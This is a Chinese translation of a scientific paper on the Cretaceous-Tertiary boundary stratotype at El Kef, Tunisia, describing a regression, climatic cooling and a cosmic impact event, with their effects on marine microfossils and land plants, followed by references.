P.Donze H.Méon(Université Claude-Bernard Lyon 1,Centre de Paléontologie stratigraphique et Paléoécologie,UMR 5565 CNRS,29 bd du 11 novembre 1918,F 69622,Villeurbanne France)E.Robin R.Rocchia(Centre des faibles radioactivités,Laboratoire mixte CEA-CNRS,avenue de la Terrasse.F 91198 GIF-sur-Yvette Cedex,France)O.Ben Abdelkader H.Ben Salem A.-L.Maamouri(Office national des Mines,24 rue 8601,2035 La Charguia,Tunisie)摘要 突尼斯西北部埃尔克夫剖面已被选作白垩系-第三系界线层型。它为很准确地研究生物危机提供了极优越的条件。从地球化学与古生物学研究可以确定出3次事件。其中的两次延续了很长的时间,一次海退和一次气候变冷。第3次是以宇宙物质(铱、富镍尖晶石等)在薄至毫米级的褐红色层(针铁矿)中的存在为特征的宇宙灾变。这一薄层现被认为是白垩系-第三系界线。海退引起浮游生物组合的逐渐变化,并有利于适应浅水环境种属的发展。气候变化改变了陆源物质(孢粉)的成分;热带属种在数量上逐渐减少,以至完全绝灭,并为与欧洲更亲近的属种所取代。宇宙事件产生最有戏剧性的影响:直接在那针铁矿层之上,90%~95%带有碳酸盐质外壳的海生生物消失了。剩下的5%~10%则在上面10cm厚的泥灰质沉积物中逐渐地消失。恢复到危机前的状况是位于界线之上的大约2m处。相反,具几丁质外壳的沟鞭藻、藻类植物似乎很少受到白垩纪-第三纪事件的影响。陆生孢粉植物群也在白垩系-第三系界线处受到严重干扰:界线上的第1个厘米内,它们的绝灭率大约比在上马斯特里赫特阶中所观察到的要高大约100倍。但是,很多种属还是侥幸存活下来了。被广泛接受的假说是宇宙碰撞产生的大量粉尘使得太阳光辐射被吸收,以及光合作用减弱。但是,这个很有吸引力的假说并不符合埃尔克夫地区的观察:太阳光的吸收也应当对沟鞭藻产生戏剧性的重大影响。我们没有观察到这种影响。据资料推断,宇宙事件除了减弱光合作用外,还在大洋里产生一种干扰钙质壳形成的化学条件。关键词 白垩系-第三系界线 埃尔克夫层型剖面 突尼斯 宇宙事件海退 气候变化1 引言突尼斯西北部的埃尔克夫地区是研究白垩系-第三系界线地层的著名地点。早在本世纪初,杰出的地质学家Pervinguière[23]就提出在该地区存在白垩系与第三系之间的连续过渡。这一看法为后来的研究所证实。因此,这一地点成为研究马斯特里赫特期及古新世生物地层学的经典场所(第6、第7届非洲微体古生物讨论会,突尼斯,1974,Ile-Ife1976,第26届国际地质学大会,巴黎,1980)[8,2]。这个地点的重要性在于它特殊的古地理位置。它位于特提斯海之南缘,向南伸入大撒哈拉地台。在晚白垩世,中突尼斯受到这个地台正向漂移的影响,这个漂移,随着海退,就导致在特提斯海南部形成大的被侵蚀的大陆腹地(“Ile de Kassérine”)。在那时,埃尔克夫地区占据着外大陆高原和内盆地缘脊之间的位置。在这个明显开阔但深度中等(约200~300m)的海中,浮游和底栖生物都找到了发展的好条件。然而,在腹地很平坦的地区里,没有粗粒的碎屑物去干扰沉积作用。2 埃尔克夫剖面在埃尔克夫西南边(1:50000埃尔克夫地质图[6]),在连接塔热卢伊纳(Tajerouine)公路上的西阿布达拉斯里(Si Abd Allah Srhir)镇与哈芒梅莱格(Hamman Mellègue)村的尘土路旁,可以见到若干马斯特里赫特期至古新世地层的延续露头(图1)。图1 突尼斯西北部埃尔克夫剖面位置图在含钙质的下马斯特里赫特阶之上,是500米厚的泥灰质岩系,即El Haria组,它显示出上马斯特里赫特阶及古新统是连续的沉积。白垩系-第三系界线出露在Fedj Hajar小村庄附近(Lambert坐标:x=387.6;y=317.65)。在马斯特里赫特阶最上部,即Mayaroensis带之顶部(图2,单元A)由含40%~50%CaCO3的灰色致密泥灰岩组成。在这个层序的顶部,有一个锈褐色的针铁矿薄层(单元B:1—2毫米)夹在两个含石膏薄层之间。这个针铁矿层虽然很薄,但却是连续的,且可以追索几百米远。这一层是采样的参考层。它被一个暗色粘土质泥灰岩(单元C)和一个不含CaCO3的黑色塑性粘土层(单元D,厚约3厘米)所覆盖。在这层之上,碳酸盐含量(单元E)缓慢增加,到上马斯特里赫特阶,这参考层之上约两米处,其含量达到50%。图2 埃尔克夫剖面上的白垩系-第三系界线从左至右:a—界线附近的地层柱状图,从针铁矿层(o)以下-10cm到其以上+20cm;b—CaCO3含量曲线图(从针铁矿层以下-50cm到其上+200cm;c—铱和富镍尖晶石富集度(从-50cm到+200cm),下虚线相应于依含量(ng/g),上虚线相应于每毫克中尖晶石数3 马斯特里赫特阶内部的事件上马斯特里赫特阶含有丰富的浮游和底栖微体生物化石,包括有孔虫[2,29,3,13,15,14]、介形虫[4]、颗石藻[21,22,24]和沟鞭藻[5]。在浸入的腹地里也有孢粉。低的生物扰动使得很精确的地层学研究成为可能。宁静的沉积条件使得化石保存状况很好。3.1 海退一直到马斯特里赫特阶顶部,有孔虫组合都很丰富,但它们的分布在Mayaroensis带的上部,也就是马斯特里赫特阶的最后10cm,显示出一个演化。从其发育要求最低限度水深不小于100m的Globotruncanidae科的种群数量明显减少,到较适应较浅水的Heteroheli-cidae科逐渐丰富,这是毫无疑问的海退迹象。沟鞭藻的研究支持这个论点:Brinkhuis和Zachariasse[5]报道了上马斯特里赫特阶的海退趋势之证据。3.2 气候变冷(1)陆生植物埃尔克夫剖面,从Falsostuarti带(白垩系-第三系界线之下165m)[18]到Pseudobul-loides带(界线以上45m)都从孢粉学观点进行过研究。大量已描述的属种使得对陆生植物演化能作精确的研究。陆生孢粉群显示出整个马斯特里赫特期晚期的逐渐变化。绝灭率相当低(马斯特里赫特阶最上部45m中有45个种绝灭),主要结果是非洲-南美洲古热带省的属种向前绝灭[17~19]。丹尼阶底部地层发育的地区大部分包含与欧洲亲近的属种。这些渐进式变化是气候变冷的清楚象征,这种气候变冷可能与海退和导致那时德干高原产生玄武质暗色岩的逐渐增强的火山活动有关[7]。(2)海生生物界据有孔虫和同位素研究[15]也可推断出晚白垩世期间渐进式的气候变冷。气候变冷也由介形虫中喜暖种类(例如,Cytherelloidea[8])逐渐消失的记录显示出来。4 白垩纪-第三纪事件4.1 宇宙标志物埃尔克夫的白垩系-第三系界线,如同大多数在其白垩系-第三系剖面上一样,是由铱的超度丰富和富镍尖晶石晶体的存在来作为标志的,这种富镍尖晶石是陨石物质被氧化而产生的矿物[27]。铱-富镍尖晶石的组合显示出当时曾发生过灾变性的宇宙事件[26~28]。由于沉积以后的扩散作用,或者由于铱这种金属在大洋里的停留时间,铱分布范围达好几米。相反,富镍尖晶石只发现于马斯特里赫特阶最上部1mm厚的浅褐色针铁矿薄层里。这样狭窄的分布范围表明宇宙物质的降落仅是简单的爆炸事件的结果[26]。4.2 海生生物丰富的、高分异度的钙质海洋微体生物种群的演化,刚好在针铁矿层处突然中止。有孔虫表明直接就在这一层之上有一个大的衰减,将近90%的种群消失了。在以上的5cm沉积物中,浮游属种越来越不丰富,以至于消失,然而底栖种类则通过选择更具忍耐力的属种(Lenticulina,Cibicides,Ammodiscus)而存活下来。有孔虫的含量在黑色粘土层(单元D)中达到最小值,那一层里只包含有很稀少的、小的、较能忍受无氧条件的种(Bulimina,呈粘结型的)。我们不仅看到个体丰度的急剧减小,而且也见到标本特征上的有意义的变化。在马斯特里赫特阶最上部,大小正常的壳钙化得很好;在针铁矿层之上,标本小,而且钙化得不好,这就提供了很不适宜的环境条件的证据。钙质超微化石组合[21,22,24]表明丰度和分异度都很大,直到马斯特里赫特阶之顶部亦无大的变化。但是,在针铁矿层之上,它们的频度就急剧减少,并且在黑色粘土层里完全消失[(Perch-Nielsen)文章[21]中的LMC6至LMC8号样品就等于我们现在所称的针铁矿层和黑色粘土层]。此外,Perch-Nielsen指出,一种钙质沟鞭藻囊——Thoracosphaera在同一层中缺失。介形虫这种对环境很敏感的底栖后生动物,也受到这次危机很大的影响。一些种(Krithe sp.,Martinieythere cf.vesiculosa Apostolescu)在针铁矿层之上第1个厘米里还存在,在以后几个厘米中就消失了[9,11]。在克夫剖面中的沟鞭藻已为Brinkhuis和Zachariasse[5]所研究过。我们为了评价它们在白垩系-第三系界线直接邻近处的演化而再次研究这些生物(图3)。它们并没显示出在通过此界线处有绝灭率加快的情况。我们只观察到,刚好从针铁矿层之下开始,它们相对丰度(相对于所有孢粉个体的丰度)减小了。我们不知道这个事实是白垩系-第三系界线事件的结果,还是由在马斯特里赫特末期有节奏的海退所引起的。4.3 陆生植物大陆对孢粉体的影响在白垩系-第三系界线层处增加(根据我们的资料来说是系数3,根据Brinkhuis和Zachariasse[5]的研究结果甚至系数为4~5)。在针铁矿层及直接上覆的层中孢粉组合很丰富且有最大的分异度(图4)。各属种的绝灭率在针铁矿层大大增高。11个属种消失刚好与富镍尖晶石沉降相吻合。附加的12个属种消失是在以后的20cm,直至黑色塑性粘土之顶部。这是一个高于马斯特里赫特阶上部100倍的绝灭率。但是,我们不能说存在着植物的崩溃,(在主要属种中)大约50个属种,也就是孢粉体的三分之二,经受了界线事件而存活下来。很显然,在克夫地区,陆生植物受到的影响远较北美为小。在北美,陆生植物生态系统的毁坏是看得到的[25]。由蕨类植物也得出同样结论:我们在埃尔克夫观察到了一个小型蕨类植物的最繁盛值(图3),但是不能与在北美大陆剖面上观察的蕨类植物巨大高峰值相比拟。4.4 讨论很明显,在针铁层存在过白垩系-第三系界线处海生生物(有孔虫、介形虫、颗石鞭毛藻等)生产力的快速下降,这与地外星体碰撞所引起的宇宙物质突然沉降相吻合[1,26~29]。假定粘土组分堆积率在穿过界线处是一个常数(大约5cm/ka),我们可以估算出生物危机的延续在100年之内(相对应于针铁矿层的厚度)。古生物学分析和地球化学分析表明,海洋环境突然地高度缩小[6,15]。这一缺氧事件几乎肯定是由于浮游植物(颗石鞭毛藻)生产率低下造成的,而浮游植物必须依靠太阳辐射。人们已提出,由宇宙碰撞结果造成的尘埃罩使得太阳辐射被强烈地吸收,因而,引起光合作用严重缩减。这一情景是有高度吸引力的。但是,它不能说明埃尔克夫的观察结果。主要的反对理由是,它不能说明钙质超微化石和钙质沟鞭藻(Thoracosphaea)、与几丁质沟鞭藻之间的行为差异。它们为了自己的发育都需要阳光。然而,令人惊奇的是,前者完全消失,而后者大多数却存活了。显然,日光数量并非促成绝灭模式之唯一参数。第二个反对意见是:如果在埃尔克夫记录到的陆生植物受到了K-T事件的严重干扰(三分之一的种绝灭),它没有被完全破坏并且被蕨类植物所取代(就像北美大陆地点所观察到的那样[20,25,31])。我们在埃尔克夫所见到的是陆生植被与海生沟鞭藻受到中等程度的干扰,这与钙质浮游生物种之极严重破坏形成明显对照。这样一种鲜明的选择性可以用一种附加因素的影响来解释。我们推出的假说认为,这钙质海生生物种严重危机的增大是由于微体生物产生碳酸盐困难。众所周知,pH值和痕量元素的丰度在微体生物的发育中,特别是建造它们的碳酸盐贝壳和外壳中,起着根本的作用。两个过程可以归结为:①由于大气圈中氮氧化物的大量形成和由靶物质离解产生的硫氧化物而产生的碳酸[6];②撞击天体及海水离子化作用放出的重金属对大洋表层水的污染。大洋表面条件所发生的变化可以阻止颗石鞭毛藻生产碳酸盐。它们的消失就这样夺去了动物界所赖以生存的海洋氧环境。这可以说明微体动物群和超微体浮游生物的消失,因而也能说明正如在低纬度和中纬度地区到处可见到的那样,从碳酸盐到粘土沉积的突然过渡。图3 埃尔克夫剖面孢粉图谱直方图的每一条块之厚度相应于每一个分析样品的厚度。左边第一个柱子表示海相孢粉相对于陆相孢粉的分布数量;它显示出在马斯特里赫特阶上部的海退趋势,这一趋势在白垩系-第三系界线处达于顶点,在它上面又是海进,始终是在开放的海洋环境中。其他几个柱子表示陆生孢粉体主要类别的分布;对蕨类植物孢子而言,在白垩系-第三系界线处有一最大值(=IR),蕨类植物含量在15%至20%之间,故与美国的蕨类高峰值——100%有很大的差别。右边最后一个柱子给出了KD剖面上每一个样品中鉴定出的属种数量。可以看出,这个数字在界线处及以后的两个厘米内是增加的。这个增加,更多地是相应于陆源供给物的增加(因为海平面降低),而较少与其他因素有关;它表明陆生植物群也没有受到强烈破坏,见图4图4 陆生孢粉体演化图谱在这图中,122b至126号样品是我们以前第一篇文章[17]所采的样,KD4至19样品为新采的(左边柱子);为了便于作图,不可能列出整个Mayaroensis带上的演化,45个种在马斯特里赫特阶上部最后45m内消失。由于同样原因,黑色塑性粘土之上残留的所有属种也未表示,这大约有50个。下面的数字表示每个种出现的层位(例如63,最低的样品,属于Falsostuarti带,在界线之下100多米)。大多数通过了黑色塑性层的属种一直延续到了Pseudobulloides带,在界线以上约30m5 结论在埃尔克夫剖面上记录了3件不同的、重要的事件。一次海退、一次全球变冷和一次宇宙灾变。海退是由其发育只需要最小水深的那些生物丰度减低来体现的,那些生物只要求最小水深是有利于更适应表层水环境的种群。气候变冷由陆生孢粉群的逐渐变化可以清楚地看到。海退和气候变冷是历时很长而且演进缓慢的事件,表明它们的影响在马斯特里赫特期(Mayaroensis带)的末期很明显。它们可能与同样的原因相关,可能是岩石圈的不稳定性,引起构造运动、火山活动,并因此而引起大气圈变冷。第3个事件是宇宙灾变。它被记录在针铁矿薄层中,此层含有铱和富镍尖晶石晶体,并标示出钙质微体化石的急剧减少。暂时侥幸存活下来的动物群,遇到强烈缺氧的条件,在针铁矿层之上约10cm处的黑色塑性粘土层中完全消失。富镍尖晶石晶体在埃尔克夫的地层分布很狭窄(几个毫米),并且与钙质微体化石的全面缩减准确地吻合,这表明了生物危机与宇宙灾变之间的因果联系。这次灾变的后果在海洋生物界里可明显地见到,而在陆生生物界中,则体现的程度稍差一些。仅仅用太阳辐射的吸收来解释绝灭的选择性是很困难的。我们提出,在海洋生物界中这一危机的重要性之增大是由于海水中化学条件阻碍了带钙质壳生物种的发育。(潘云唐 译,项礼文 校)参考文献[1]L.W.Alvarez,W.Alvarez,F.Asaro and H.Y.Michel H.Y.Extraterrestrial cause for the Cretaceous-Tertiary extinction.Science,1980,208,1095~1108.[2]J.P.Bellier,M.Caron,P.Donze,D.Herm,A.L.Maamouri and J.Salaj.Le Campanien sommital et le Maas-trichtien de la coupe du Kef(Tunisie septentrionale):zonation sur la base des Foraminifères planctoniques.Zit-teliana,1983,10,609~611.[3]O.B.Abdelkader.Planktonic foraminifera content of El Kef Cretaceous-Tertiary(K/T)boundary type-section(Tunisia).In:Workshop on Cretaceous-Tertiary transitions at El Kef——Abstracts.1992,9.[4]O.B.Abdelkader,H.B.Salem,P.Donze,L.Froget,A.L.Maamouri,H.Meon,E.Robin and R.Rocchia.The K/T stratotype section of El Kef(Tunisia):events and biotic turnovers.Geobios,Mem.sp.,1996.[5]H.Brinkhuis and W.J.Zachariasse.Dinoflagellate cysts,seal level changes and planktonic foraminifers across the Cretaceous-Tertiary boundary at El Haria,northwest Tunisia.Marine Micropaleontology,1988,13,153~191.[6]P.F.Burollet and P.Sainfeld.Notice explicative de la feuille au 1/50000 n°44 Le Kef.1956,32.[7]V.Courtillot.Deccan volcanism at the Cretaceous-Tertiary boundary:post climate crisis as a key to the future?.Palaeogeog.,Palaeoclimat.,Palaeoecol.(Global and Planetary Change Sect.),1990,189,291~299.[8]P.Donze.Une série de reference pour le Maastrichtien et le Paleocene en facies mesogeen:la coupe dite de la“piste du Hamman Mellègue”au SW du Kef(Tunisie septentrionale,26e C.G.I.(Paris 1980),1980,1,225.[9]P.Donze.Evolution of the Ostracods microfauna at the Cretaceous-Tertiary boundary in El Kef section(NW Tunisia).In:Workshop on Cretaceous-Tertiary transitions at El Kef——Abstracts,1992,2~3.[10]P.Donze,S.Jardiné,O.Legoux,E.Masure and H.Meon.Les évènements a la limite Cretace-Tertiaire:au Kef(Tunisie septentrionale),l"analyse palynoplanctologique montre qu"un changement climatique est décelable a la base du Danien.Actes ler Cong.Nat.Sciences Terre.Tunis,1981,161~169.[11]P.Donze,J.P.Colin,R.Damotte,H.J.Oertli,J.P.Peypouquet and R.Sald.Les Ostracodes du Campanien terminalàl"Eocène inférieur de la coupe du Kef,Tunisie nord-occidentale.Bull.Centres Rech.Explor-Prod.Elf-Aquitaine,1982,6,2,273~335.[12]P.Donze,H.Meon,R.Rocchia,E.Robin and L.Froget.Biological changes at the KT stratotype of El Kef(Tunisia).In:New developments regarding the KT event and other catastrophes in Earth history,LPI Contribution n°825.Geol.Soc.Amer.,Sp.pap.,1994,247,72~76.[13]G.Keller.Extinction,survivorship and evolution of planktic foraminifera accross the Cretaceous/Tertiary boundary at El Kef,Tunisia.Marine Micropaleontology,1988,13,239~263.[14]G.Keller,L.Li and N.MacLeod.The Cretaceous/Tertiary boundary stratotype section at EL Kef,Tunisia:how catastrophic was the mass extinction?.Palaeogeog.,Palaeoclimat.,Palaeoecol.,1995,119,221~254.[15]G.Keller and M.Lindinger.Stable isotope,TOC and CaCO3 record across the Cretaceous/Tertiary boundary at El Kef,Tunisia.Palaeogeog.,Palaeoclimat.,Palaeoecol.,1989,73,243~265.[16]D.M.McLean.Deccan traps mantle degassing in the terminal Cretaceous marine extinctions.Cretaceous Re-search,1985,6,235~259.[17]H.Meon.Palynologic studies of the Cretaceous-Tertiary boundary interval at El Kef outcrop,northwestern Tunisia:Paleographic implications.Rev.Palaeobot.Palynol.,1990,65,85~94.[18]H.Meon.Etudes sporopolliniquesàla limite Cretace-Tertiaire:la coupe du Kef(Tunisie nord-occidentale);étude systématique,stratigraphie,paléogéographie et evolution climatique.Palaeontographica,1991,B,223,107~168.[19]H.Meon and P.Donze.Etude palynologique du passage Cretace-Tertiaire dans la region du Kef(Tunisie NW).L"environnement vegetal terrestre et soné volution.Inst.fr.Pondichery,Trav.sect.sci.techn.,1988,25,237~350.[20]D.J.Nichols.Geologic and biostratigraphic framework of the non-marine Cretaceous-Tertiary boundary interval in Western North America.Rev.Palaeobot.Palynol.,1990,65,75~84.[21]K.Perch-Nielsen.Nouvelles observations sur les Nannofossiles calcairesàla limite Crétacé-Tertiaire près de El Kef(Tunisie).Cahiers Micropal.,1981,3,25~36.[22]K.Perch-Nielsen,J.Mckenzie,H.E.Quziang,L.T.Silver and P.H.Schultz.Biostratigraphy and isotope stratigraphy and the“catastrophic”extinction of calcareous nannoplankton at the Cretaceous/Tertiary boundary.Geol.Soc.Amer.,Sp.Pap.,1982,190,353~371.[23]L.Pervinquière.1903-Etude géologique de la Tunisie centrale.These Doct.es Sciences Univ.Paris,1903.[24]J.J.Pospichal.Calcareous nannofossils at the K-T boundary,El Kef:No evidence for stepwise,gradual,or se-quential extinctions.Geology,1994,22,99~102.[25]C.J.Orth,J.S.Gilmore,J.D.Knight,C.L.Pillmore,R.H.Tschudy and J.E.Fassett.An Iridium abundanceanomaly at the palynological Cretaceous-Tertiary boundary in northern New Mexico.Science,1981,214,1341~1343.[26]E.Robin,D.Boclet,P.Bonté,L.Froget,C.Jehanno and R.Rocchia.The stratigraphic distribution of Ni-rich spinels in Cretaceous-Tertiary boundary rocks at El Kef(Tunisia),Caravaca(Spain)and Hole 761C(Leg 122). Earth Planetary Science Letter,1991,107,715~721.[27]E.Robin,Ph.Bonté,L.Froget,C.Jehanno and R.Rocchia.Formation of spinels in cosmic objects during atmospheric entry:aclue to the Cretaceous-Tertiary boundary event.Earth and Planetary Science Letter,1992a,108,181~190.[28]E.Robin,P.Bonté,P.Donze,L.Froget,C.Jehanno and R.Rocchia.The Ni-rich spinel distribution at K/T boundary of El Kef,Tunisia:Evidence for a short catastrophic cosmic event.Workshop on Cretaceous-Tertiary transitions at El Kef——Abstracts.1992b,17.[29]R.Rocchia,D.Boclet,P.Bonte,P.Donze,C.Jehanno,L.Froget and E.Robin.The K/T event time-scale and the Iridium anomaly.The importance of the site of El Kef,Tunisia.In:Workshop on Cretaceous-Tertiary transitions at El Kef——Astracts.1992,15~17.[30]J.Smit,A.J.Nederbragt,W.Alvarez,A.Montanari and N.Swinburne.The Cretaceous-Tertiary(K/Pg)boundary type section of El Kef,Tunisia,compared with proximal(K/Pg)transition sections from the gulf of Mexico.In:Workshop on Cretaceous-Tertiary transitions at El Kef——Abstracts.1992,4~6.[31]R.H.Tschudy,C.L.Pillmore,C.J.Orth,J.S.Gilmore and J.D.Knight.Disruption of the terrestrial plant ecosystem at the Cretaceous-Tertiary boundary,western interior.Science,225,1030~1032.
2023-07-26 16:50:351

wi-fi有什么功能?

无线上网~~
2023-07-26 16:50:315